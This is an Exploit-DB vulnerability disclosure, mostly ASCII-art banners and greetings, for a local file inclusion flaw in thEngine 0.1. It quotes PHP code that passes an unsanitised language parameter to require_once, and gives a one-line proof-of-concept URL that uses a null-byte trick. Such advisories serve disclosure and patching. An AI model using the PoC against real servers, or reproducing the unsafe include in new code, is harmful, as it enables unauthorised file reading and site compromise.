Exploit-DB #12504
Description: thEngine 0.1 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-05-04
Author: team_elite

Exploit:
=============================================================================================
=============================================================================================
==   @@@@@@@@  @@@@@@  @@@@@@@  @@       @@         @@@@@@  @@      @@  @@@@@@@@  @@@@@@   ==
==   @@@@@@@@  @@@@@@  @@@@@@@  @@@     @@@	    @@@@@@  @@      @@  @@@@@@@@  @@@@@@   ==
==      @@     @@      @@   @@  @@ @   @ @@         @@      @@      @@     @@     @@       ==
==      @@     @@      @@   @@  @@  @ @  @@         @@      @@      @@     @@     @@       ==
==      @@     @@@@@@  @@@@@@@  @@   @   @@         @@@@@@  @@      @@     @@     @@@@@@   ==
==      @@     @@      @@   @@  @@       @@         @@      @@      @@     @@     @@       ==
==      @@     @@      @@   @@  @@       @@         @@      @@      @@     @@     @@       ==
==      @@     @@@@@@  @@   @@  @@       @@         @@@@@@  @@@@@@  @@     @@     @@@@@@   ==
==      @@     @@@@@@  @@   @@  @@       @@ @@@@@@@ @@@@@@  @@@@@@  @@     @@     @@@@@@   ==
==											   ==
=============================================================================================
=============================================================================================
			|||			|||
			|||			|||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~    Greetz and Thanks to: All member manadocoding.net               ~~~~
~~~~									~~~~
~~~~    MC team : team_elite , devilbat , virusfree , doniskynet ,      ~~~~
~~~~              lumut-- , kisame                                      ~~~~
~~~~                                                                    ~~~~
~~~~    thanks for : cr4wl3r                                            ~~~~
~~~~                                                                    ~~~~
~~~~    Discovered: team_elite[at]Auzs.net              	        ~~~~
~~~~									~~~~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
			|||			|||
			|||			|||
############################################################################
##									  ##			
##      Download Script: http://sourceforge.net/projects/thengine/files/  ##
##									  ##
##      Code [test.class.php]:						  ##
## 									  ##
############################################################################
			|||			|||
			|||			|||
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xx	<?php									    xx
xx	    /**									    xx
xx	    * thEngine								    xx
xx	    * Copyright (c) 2006 Thion, http://thion.jogger.pl			    xx
xx	    * This program is free software; you can redistribute it and/or modify  xx
xx	    * it under the terms of the GNU Public General Public License as        xx
xx	    * published by the Free Software Foundation; either version 2.1 of the  xx
xx	    * License, or (at your option) any later version.                       xx
xx	    */									    xx
xx    										    xx
xx	    require_once('languages/'.$strLanguage.'/test.class.php');		    xx
xx	    class test								    xx
xx	    {									    xx
xx	        public function __construct()					    xx
xx	        {								    xx
xx	            global $opt;						    xx
xx	            $opt -> assign('message', TEST);				    xx
xx 	           $opt -> display('test.tpl');					    xx
xx	        }								    xx
xx	    }									    xx
xx	?>									    xx
xx										    xx
xx       PoC: [thEngine_path]/modules/test/test.class.php?strLanguage=[LFI%00]      xx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
* -                          ,              
* -                        @@               
* -                      @@#                
* -                    :@@;                 
* -                   @@@@@        ......`  
* -                  @@@@.@@@@@@@@@@@#      
* -             @@@@@@@@@@@@@@@@@@`         
* -               @@@@@@@@@@@@@@@@@@@@;     
* -              #@@@@@@@@@@@@@@@@@         
* -            `@@,@@@@@@@@@@@@@@@@@:       
* -           @@@+@@@@@@@ @@@@@@@;@@@`      
* -         :@@@@@@@@@:@,; @@@@@@@ .@@      
* -        @@@@@@@@@@@  :  @@@@@@@@  @@     
* -       @@@@'     `   ` @@@@@@@@@:  +.    
* -       .@@            @@@@@@@@@@@   .    
* -           ,       +@@@@@@@@@@@@@        
* -            +@@@@@@@@@@@@@@@@@@@@#       
* -           ,@@@@@@@@@@@@@@@@@ +@@@       
* -        `@@@@@@@@@@@@@@@@@@@   @@@       
* -       @@@@@@@@@@@@@@@@@@@     @@`       
* -      @@@@@@@@@@@@@@@@@@       @@        
* -     +@@@@@@@@@@; @@@#         @         
* -     @@@@@@@@@         :                 
* -     @@@@@@@@           ,@@              
* -    @@@@@@@@@             @@@'           
* -    @@@@@@@`@               @@@;         
* -    @@@@@@@  @       @.  @@@@@@@@        
* -    @@@@@@@@@        @@@@@@@@@@@@@#      
* -     @@@@@@@@@@@@    @@@@@@@@@@@@@@@     
* -     @ @@@@@@@     ;@@@@@@@@@@@@@@@@@    
* -     @ @@@@@@@@@@@@@@@@@@@      ,@@@@+   
* -       @@@@@@@@@@@@@@@@@@@        @@@@   
* -       @@@ @@@@@@@@@  @@@@@@;     @@@@   
* -       @@    @@@@@@@`  @@@        . @@.  
* -       @@      ; @@@@#  :@@@@@#     @@.  
* -       @           @@@:             ;@   
* -      ;`             @@             ;@   
* -                      @@            @    
* -                       @            #    
* -                       :           :     
* --------------------------------------------->>>> bugs found on may 05 2010 by team_elite.